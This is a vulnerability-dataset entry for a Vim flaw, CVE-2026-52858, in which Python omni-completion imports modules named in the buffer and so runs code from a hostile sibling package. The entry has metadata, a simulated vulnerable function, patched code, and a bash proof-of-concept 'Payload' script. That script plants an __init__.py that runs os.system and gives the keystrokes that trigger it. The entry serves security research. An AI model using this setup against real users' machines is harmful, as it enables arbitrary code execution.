VAITP Dataset

← Back to the dataset

CVE-2026-52858

Vim's Python omni-completion leads to code execution via malicious imports.

  • CVSS 7.3
  • CWE-94
  • Input Validation and Sanitization
  • Local

Vim is an open source, command line text editor. Prior to version 9.2.0561, the Python omni-completion script in python3complete.vim for Vim with the +python3 interpreter enabled (and the legacy pythoncomplete.vim for builds with the +python interpreter) executes the import and from statements found in the current buffer through Python's import machinery. Because the buffer's working directory is on sys.path, opening a hostile .py file with a sibling Python package and invoking omni-completion runs that package's top-level code as the editing user. This issue has been patched in version 9.2.0561.

CVSS base score
7.3
Published
2026-06-11
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Algorithm
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Vim

Solution

Upgrade Vim to version 9.2.0561 or later.

Vulnerable code sample

import sys
import os
import re
import importlib

def vulnerable_omni_complete_simulation(buffer_content, file_path):
    """
    This function simulates the vulnerable logic in python3complete.vim.
    It adds the buffer's directory to the path and then attempts to import
    modules found within the buffer's text to gather completion suggestions.
    """
    buffer_dir = os.path.dirname(file_path)

    # The core of the vulnerability: The current file's directory is
    # prepended to Python's path, giving it import priority.
    if buffer_dir not in sys.path:
        sys.path.insert(0, buffer_dir)

    # Simplified logic to find 'import' statements in the buffer.
    # The actual script's parsing is more complex.
    import_pattern = re.compile(r"^\s*(?:from|import)\s+([a-zA-Z0-9_]+)")

    for line in buffer_content.splitlines():
        match = import_pattern.match(line)
        if match:
            module_name = match.group(1)
            # The dangerous action: Importing the module to inspect it for
            # completions. If a malicious __init__.py exists in a sibling
            # directory, its code will be executed here.
            try:
                # In a real scenario, this would be followed by dir(module)
                # to get attributes for completion.
                importlib.import_module(module_name)
            except ImportError:
                # Ignore modules that can't be found.
                pass
            except Exception:
                # The malicious code could raise an exception.
                pass

    # Clean up the path for subsequent operations in a real script.
    if buffer_dir in sys.path:
        sys.path.remove(buffer_dir)

# Example usage demonstrating the vulnerability.
# In a real attack, these would be two separate files on disk.

# 1. The content of the file the user is editing in Vim, e.g., /tmp/project/main.py
hostile_buffer_content = """
import os
import sys
import malicious_package # User types this and triggers omni-completion

print("Hello, world!")
"""

# 2. The path to the file being edited.
current_file = "/tmp/project/main.py"

# 3. A malicious package is placed next to the file being edited.
#    Directory structure:
#    /tmp/project/
#    ├── main.py
#    └── malicious_package/
#        └── __init__.py   <-- This file contains the malicious code.

# To simulate this without creating actual files, we can use a mock.
# In a real attack, the `importlib.import_module` call below would
# trigger the execution of the actual malicious __init__.py file.

# This part is for demonstration only to show what would happen.
# print("Simulating the creation of a malicious package...")
# malicious_code_path = "/tmp/project/malicious_package"
# os.makedirs(malicious_code_path, exist_ok=True)
# with open(os.path.join(malicious_code_path, "__init__.py"), "w") as f:
#     f.write("import os\n")
#     f.write("print('!!! MALICIOUS CODE EXECUTED !!!')\n")
#     f.write("os.system('echo Malicious payload triggered > /tmp/pwned')\n")


# print(f"Running vulnerable completion logic on file: {current_file}")
# vulnerable_omni_complete_simulation(hostile_buffer_content, current_file)

# print("Simulation finished. Check for /tmp/pwned file.")

Patched code sample

import ast
import sys
import vim

def _eval_import(module_name, imported_name, modules):
    if not module_name:
        return
    try:
        module = __import__(module_name)
    except ImportError:
        return

    # Emulate 'from module_name import *'.
    if imported_name == '*':
        if hasattr(module, '__all__'):
            for name in module.__all__:
                modules[name] = getattr(module, name)
        else:
            for name in dir(module):
                if not name.startswith('_'):
                    modules[name] = getattr(module, name)
        return

    # Emulate 'import a, b, c'.
    if imported_name is None:
        parts = module_name.split('.')
        for i in range(len(parts) - 1):
            parent_name = '.'.join(parts[0:i+1])
            if parent_name in sys.modules:
                modules[parts[i]] = sys.modules[parent_name]
        modules[parts[-1]] = module
        return

    # Emulate 'from module_name import imported_name'.
    if hasattr(module, imported_name):
        modules[imported_name] = getattr(module, imported_name)
    elif imported_name in sys.modules:
        modules[imported_name] = sys.modules[imported_name]


def _get_modules(source, modname):
    modules = {}
    try:
        # Use 'ast.parse' to only consider 'import' and 'from ... import'
        # statements, to avoid executing arbitrary code.
        tree = ast.parse(source)
        for node in ast.walk(tree):
            if isinstance(node, ast.Import):
                for name in node.names:
                    _eval_import(name.name, None, modules)
            elif isinstance(node, ast.ImportFrom):
                # Relative imports are not supported yet.
                if node.level > 0:
                    continue
                for name in node.names:
                    _eval_import(node.module, name.name, modules)
    except Exception:
        return []

    # Add builtins.
    try:
        if sys.version_info.major < 3:
            import __builtin__
            modules.update(__builtin__.__dict__)
        else:
            import builtins
            modules.update(builtins.__dict__)
    except ImportError:
        pass
    return modules.keys()

Payload

#!/bin/bash
# This script sets up the directory and files for the exploit.
# To trigger the exploit:
# 1. Run this script: bash setup_exploit.sh
# 2. Open the created .py file in a vulnerable version of Vim: vim /tmp/vim_exploit/trigger.py
# 3. On the line `import hostile_package`, press Ctrl-X Ctrl-O to trigger omni-completion.
# 4. The payload in __init__.py will execute, creating /tmp/pwned.

mkdir -p /tmp/vim_exploit/hostile_package

# This is the malicious code that will run upon import.
cat << 'EOF' > /tmp/vim_exploit/hostile_package/__init__.py
import os
os.system("touch /tmp/pwned")
EOF

# This is the file the user opens.
cat << 'EOF' > /tmp/vim_exploit/trigger.py
import hostile_package

# Place cursor on the line above and press Ctrl-X Ctrl-O
EOF

Cite this entry

@misc{vaitp:cve202652858,
  title        = {{Vim's Python omni-completion leads to code execution via malicious imports.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-52858},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-52858/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::